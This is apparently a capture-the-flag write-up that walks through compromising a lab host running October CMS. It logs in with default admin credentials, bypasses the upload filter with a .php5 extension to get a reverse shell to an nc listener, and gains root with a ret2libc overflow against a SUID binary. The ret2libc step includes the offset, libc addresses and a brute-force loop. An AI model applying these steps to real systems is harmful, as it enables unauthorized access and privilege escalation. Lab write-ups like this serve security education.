Machine Overview
Linux host exposing SSH (22/tcp) and HTTP (80/tcp). The web app is October CMS, which leads to an authenticated file upload and a straightforward initial shell. Privilege escalation is via a SUID binary with a classic stack buffer overflow (ret2libc).
Enumeration
Nmap
We start by running a nmap scan to get the open ports and services.
nmap -A -oN nmap.txt 10.10.10.16
Scan results:
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
The HTTP title and headers indicate October CMS behind Apache on Ubuntu.
Web Enumeration → Initial Foothold
Browse to http://10.10.10.16/
→ October CMS landing page.
Per common OctoberCMS setups, the backend is at /backend
. Visiting:
http://10.10.10.16/backend
shows the login page.
Tried common weak defaults; admin:admin
worked on this instance.
Once authenticated, open Media in the backend. Direct .php
uploads are blocked, but .php5
is accepted.
Upload a reverse shell as php-reverse-shell.php5
.
Start a listener:
nc -lvnp 4444
Trigger the payload by clicking the uploaded file (or browsing to the media URL shown in the panel). Shell received:
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
User flag
The user flag is located at /home/harry/user.txt
TTY upgrade (optional)
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Privilege Escalation (www-data → root)
SUID discovery
find / -type f -perm -u=s 2>/dev/null
# ...
/usr/local/bin/ovrflw
Running it without args:
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
Vulnerability
Disassembly / decompilation shows:
int main(int argc, char **argv) {
if (argc > 1) {
char buf[0x64]; // 100 bytes
strcpy(buf, argv[1]); // unbounded copy → overflow
return 0;
}
printf("Syntax: %s <input string>\n", argv[0]);
exit(0);
}
Classic stack overflow via strcpy
into a local buffer in a SUID root binary → ret2libc.
Protections & offset
Check protections:
checksec --file=/usr/local/bin/ovrflw
Determine exact EIP offset with a cyclic pattern. In this instance, 112 bytes of padding reached the saved return address.
ret2libc payload
Layout: [padding][system][return_after_system][pointer_to_"/bin/sh"]
.
ASLR is enabled, so the base of libc changes between runs. This box was solved by brute-forcing until the randomized libc base matched a known value for which the offsets were prepared.
One-liner brute-force loop:
while :; do
/usr/local/bin/ovrflw "$(
python -c 'import sys,struct
base=0xb75d8000 # example base that hit on this box
sys_off = 0x00040310 # system
binsh_off = 0x00162bac # "/bin/sh"
payload = b"\x90"*112
payload += struct.pack("<I", base+sys_off)
payload += struct.pack("<I", 0xdeadbeef) # return after system (unused)
payload += struct.pack("<I", base+binsh_off)
sys.stdout.buffer.write(payload)'
)"
done
When the randomized libc base equals 0xb75d8000
on a given run, execution lands in system("/bin/sh")
with effective UID root
.
$ id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
Root flag
The root flag is located at /root/root.txt